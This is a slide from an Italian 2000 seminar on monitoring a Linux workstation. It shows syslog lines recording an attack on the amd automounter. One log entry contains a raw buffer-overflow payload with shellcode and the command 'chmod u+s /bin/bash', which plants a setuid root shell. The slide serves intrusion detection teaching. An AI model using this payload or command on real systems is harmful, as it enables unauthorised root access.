Seminari del PHC - Riccardo Murri - 21 febbraio 2000 - Pisa 

Vigilare una workstation Linux: registrare gli accessi (LUCIDO 19) 


PRECEDENTE INDICE PHC HOME SUCCESSIVO

Attacco al programma amd di stokes.dm.unipi.it (estratto dal file amd.3)

Dec 13 14:49:42 stokes amd[176]/info:  paley:/staff mounted fstype nfs
   on /staff
Dec 13 14:51:54 stokes amd[176]/info:  paley:/paley/laurea unmounted
   fstype nfs from /paley/l
Dec 13 14:57:30 stokes amd[176]/info:  amq requested mount of
   220220220220220220220210F«211F¸°^K211ó215N=215V¸Í2001Û211
   Ø@Í200èÊÿÿÿ/bin/sh -c chmod u+s  /bin/bash;;AAAAAAAAAAAA
Dec 13 15:02:26 stokes amd[175]/info:  My ip addr is 0x100007f
Dec 13 15:02:26 stokes amd[176]/info:  file server localhost type
   local starts up